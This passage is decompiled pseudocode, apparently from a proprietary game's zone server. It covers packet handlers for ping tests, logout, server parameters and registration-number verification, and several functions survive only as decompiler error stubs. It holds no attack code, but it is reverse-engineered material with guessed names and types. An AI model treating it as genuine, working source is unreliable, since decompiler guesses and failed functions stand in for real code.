--funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); return 1; } //----- (004F5720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype) { ShineObjectClass::ShineBandit *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineBandit::so_bandit_ChangeType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sb_MobBriefInfo.bic_BriefInfo->type = newtype; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27659; v4 = *(_WORD *)&v2->gap0[4]; v3[4] = newtype; v6 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); } //----- (004F5810) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 __int16 v5; // ax@1 char *v6; // ebx@1 __int16 v7; // ax@1 int v8; // ebp@1 int v9; // edx@2 int v10; // eax@2 int v11; // esi@2 ZoneBaseSession *v12; // eax@4 void *v13; // [sp+10h] [bp-8Ch]@1 __int16 nc; // [sp+14h] [bp-88h]@1 ItemTotalInformation iti; // [sp+1Ch] [bp-80h]@2 unsigned int v16; // [sp+8Ch] [bp-10h]@5 int v17; // [sp+98h] [bp-4h]@1 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed __int16)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2066; memcpy(v6, (const void *)(netcmd + 2), 0x4Cu); nc = v5; v7 = *((_WORD *)v4 + 2); v17 = 0; *((_WORD *)v6 + 6) = v7; *(_DWORD *)(v6 + 26) = timeGetTime(); v8 = (**((int (__stdcall ***)(_DWORD))v4 + 8892))(0); if ( *(_WORD *)(v8 + 8) == 2505 ) { *((_WORD *)v6 + 26) = 0; *(_DWORD *)(v6 + 54) = *(_DWORD *)v8; v9 = *(_DWORD *)(v8 + 4); *((_DWORD *)v6 + 17) = 0; *((_DWORD *)v6 + 18) = 0; *(_DWORD *)(v6 + 58) = v9; *((_WORD *)v6 + 33) = 2505; *((_WORD *)v6 + 32) = 9216; *((_WORD *)v6 + 31) = (_WORD)v6 + 76 - nc - 2; *((_WORD *)v6 + 23) = *((_WORD *)v13 + 2); *((_DWORD *)v6 + 12) = (*(int (**)(void))(*(_DWORD *)v13 + 836))(); memcpy(&iti, (const void *)v8, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v8 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v8 + 110); v10 = (*(int (__stdcall **)(int))(**(_DWORD **)(v8 + 112) + 24))(v8 + 8); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v8 + 112) + 28))(&iti.iti_itemstruct, v10 + 1); v11 = ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v8 + 112), 0x9C9u, v6 + 76) - (v6 + 76) + 78; *(_DWORD *)(v6 + 14) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", v11); } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); __security_check_cookie(v16); } //----- (004F59F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 __int16 v5; // di@1 char *v6; // ebx@1 int v7; // ecx@1 int v8; // ebp@1 int v9; // edx@2 int v10; // eax@2 ZoneBaseSession *v11; // eax@4 ItemTotalInformation iti; // [sp+14h] [bp-80h]@2 unsigned int v13; // [sp+84h] [bp-10h]@5 int v14; // [sp+90h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed __int16)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; v7 = (int)(gpp.pp_Buffer + 2); v14 = 0; *(_WORD *)gpp.pp_Buffer = 2067; PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(v7, netcmd + 2); *((_WORD *)v6 + 24) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 62) = timeGetTime(); v8 = (**((int (__stdcall ***)(_DWORD))v4 + 8892))(0); if ( *(_WORD *)(v8 + 8) == 2505 ) { *((_WORD *)v6 + 44) = 0; *(_DWORD *)(v6 + 90) = *(_DWORD *)v8; v9 = *(_DWORD *)(v8 + 4); *((_DWORD *)v6 + 26) = 0; *((_DWORD *)v6 + 27) = 0; *(_DWORD *)(v6 + 94) = v9; *((_WORD *)v6 + 51) = 2505; *((_WORD *)v6 + 50) = 9216; *((_WORD *)v6 + 49) = (_WORD)v6 + 112 - v5 - 2; *((_WORD *)v6 + 41) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); memcpy(&iti, (const void *)v8, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v8 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v8 + 110); v10 = (*(int (__stdcall **)(SHINE_ITEM_STRUCT *))(**(_DWORD **)(v8 + 112) + 24))(&iti.iti_itemstruct); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v8 + 112) + 28))(&iti.iti_itemstruct, v10 + 1); ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v8 + 112), 0x9C9u, v6 + 112); *(_DWORD *)(v6 + 50) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 114) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", len + 114); } } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); __security_check_cookie(v13); } //----- (004F5BC0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2070; memcpy(v3, &netcmd[1], 0x22u); *(_DWORD *)(v3 + 26) = timeGetTime(); *(_DWORD *)(v3 + 30) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE : Packet Too Long", 36); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); } //----- (004F5CC0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 38) = timeGetTime(); *(_DWORD *)(v3 + 26) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (004F5DC0) -------------------------------------------------------- #error "4F5DC0: undefined or illegal type '#331' (funcsize=94)" //----- (004F5F10) -------------------------------------------------------- #error "4F5F10: undefined or illegal type '#331' (funcsize=71)" //----- (004F6020) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 30) = timeGetTime(); *(_DWORD *)(v3 + 34) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (004F6120) -------------------------------------------------------- #error "4F6120: undefined or illegal type '#331' (funcsize=61)" //----- (004F6220) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S89_1 & 1) ) { _S89_1 |= 1u; cmc_74.cmc_AllowMode = 126; atexit(_E90_0); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_74.cmc_AllowMode ) { *((_DWORD *)v4 + 23039) = 0; *((_DWORD *)v4 + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v4 + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 23042) = 0; *((_DWORD *)v4 + 23044) = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); } //----- (004F6310) -------------------------------------------------------- #error "4F6310: undefined or illegal type '#331' (funcsize=56)" //----- (004F63E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v2 + 44578) = *(_WORD *)(repair + 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); } //----- (004F6450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2096; v5[2] = LOBYTE(shineparam.scp_param.shoutlevel); *(_WORD *)(v5 + 3) = LOWORD(shineparam.scp_param.shoutdelay); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", 5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); } //----- (004F6540) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf) { unsigned __int16 v2; // cx@1 v2 = *(_WORD *)(this + 4); queue_linkreserv.mq_Pointer.value = queue_linkreserv.mq_Pointer.mask & (queue_linkreserv.mq_Pointer.value + 1); queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].handle = v2; memcpy( &queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content, lnkinf, sizeof(queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content)); return LOWORD(queue_linkreserv.mq_Pointer.value); } //----- (004F6590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer) { char *v2; // eax@2 int result; // eax@4 if ( pointer < 0x80u && (v2 = (char *)&queue_linkreserv + 104 * pointer) != 0 && *(_WORD *)v2 == *(_WORD *)(this + 4) ) result = (int)(v2 + 2); else result = 0; return result; } //----- (004F65C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this) { void *v1; // edi@1 char *v2; // esi@1 int v3; // eax@1 ZoneBaseSession *v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4275; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); *((_DWORD *)v2 + 1) = *(_DWORD *)v3; *((_DWORD *)v2 + 2) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 4) = *(_DWORD *)(v3 + 12); *((_DWORD *)v2 + 5) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification : Packet Too Long", 24); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); } //----- (004F66D0) -------------------------------------------------------- #error "4F66D0: undefined or illegal type '#331' (funcsize=51)" //----- (004F67A0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); return 0; } //----- (004F67F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack) { void *v2; // esi@1 char *v3; // edi@4 DebugLogging *v4; // ebp@4 _iobuf *v5; // eax@6 DebugLogging *v6; // ebp@8 _iobuf *v7; // eax@10 DebugLogging *v8; // eax@12 DebugLogging *v9; // eax@12 DebugLogging *v10; // eax@12 char result; // al@12 unsigned int v12; // eax@14 char *v13; // eax@14 char *v14; // ST14_4@14 int v15; // ST0C_4@14 int v16; // ST04_4@14 DebugLogging *v17; // eax@14 DebugLogging *v18; // eax@14 DebugLogging *v19; // eax@14 DebugLogging *v20; // eax@14 DebugLogging *v21; // eax@14 DebugLogging *v22; // eax@14 DebugLogging *v23; // eax@14 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S96_1 & 1) ) { _S96_1 |= 1u; DebugLogging::DebugLogging(&InvalidRegistLog, "InvalidRegistLog"); atexit(_E97_1); } if ( *(_DWORD *)((char *)v2 + 32058) == *(_DWORD *)(varif_ack + 2) ) { if ( *(_BYTE *)(varif_ack + 6) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 1; } else { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)((char *)v2 + 32062); *((_DWORD *)v13 + 1) = *(_DWORD *)((char *)v2 + 32066); *((_DWORD *)v13 + 2) = *(_DWORD *)((char *)v2 + 32070); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)((char *)v2 + 32074); v13[16] = 0; v15 = *(_DWORD *)(varif_ack + 2); v16 = *(_DWORD *)((char *)v2 + 32058); v17 = DebugLogging::operator<<(&InvalidRegistLog, "Incorrect bit "); v18 = DebugLogging::operator<<(v17, v16); v19 = DebugLogging::operator<<(v18, (char *)&stru_59F2B8); v20 = DebugLogging::operator<<(v19, v15); v21 = DebugLogging::operator<<(v20, " / "); v22 = DebugLogging::operator<<(v21, v14); v23 = DebugLogging::operator<<(v22, (char *)&stru_59F2B8); DebugLogging::operator<<(v23, &deb_LF); **((_BYTE **)v2 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } } else { namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v3 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v3 = *(_DWORD *)((char *)v2 + 32062); *((_DWORD *)v3 + 1) = *(_DWORD *)((char *)v2 + 32066); *((_DWORD *)v3 + 2) = *(_DWORD *)((char *)v2 + 32070); *((_DWORD *)v3 + 3) = *(_DWORD *)((char *)v2 + 32074); v3[16] = 0; v4 = DebugLogging::operator<<(&InvalidRegistLog, "Regist number invalid "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } v8 = DebugLogging::operator<<(v6, " / "); v9 = DebugLogging::operator<<(v8, v3); v10 = DebugLogging::operator<<(v9, (char *)&stru_59F2B8); DebugLogging::operator<<(v10, &deb_LF); **((_BYTE **)v2 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } return result; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F6AF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 3122; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 816))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); } //----- (004F6BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this) { void *v1; // esi@1 char *v2; // edi@2 ZoneBaseSession *v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 820))(v1) == 1 ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v2 + 1) = -1; *((_DWORD *)v2 + 1) = -1; *(_DWORD *)(v2 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RefreshWMSSocket : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); } //----- (004F6CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2492))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); } //----- (004F6D50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag) { void *v2; // edi@1 int v3; // ebp@1 unsigned int v4; // eax@3 char *v5; // eax@3 FieldOption::FieldAttr *v6; // ebx@3 int v7; // eax@4 int v8; // ecx@4 int v9; // edx@4 unsigned int v10; // eax@4 int v11; // ST10_4@4 char *v12; // eax@4 int v13; // ST08_4@4 DebugLogging *v14; // eax@4 DebugLogging *v15; // eax@4 DebugLogging *v16; // eax@4 DebugLogging *v17; // eax@4 DebugLogging *v18; // eax@4 int v19; // eax@4 int v20; // ecx@4 char *v21; // esi@4 ZoneBaseSession *v22; // eax@9 char *v23; // eax@10 int v24; // ecx@10 ZoneBaseSession *v25; // eax@12 char *v26; // [sp-4h] [bp-90h]@2 int v27; // [sp+6Ah] [bp-22h]@4 int v28; // [sp+6Eh] [bp-1Eh]@4 unsigned int v29; // [sp+7Ch] [bp-10h]@0 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 98); if ( v3 ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD 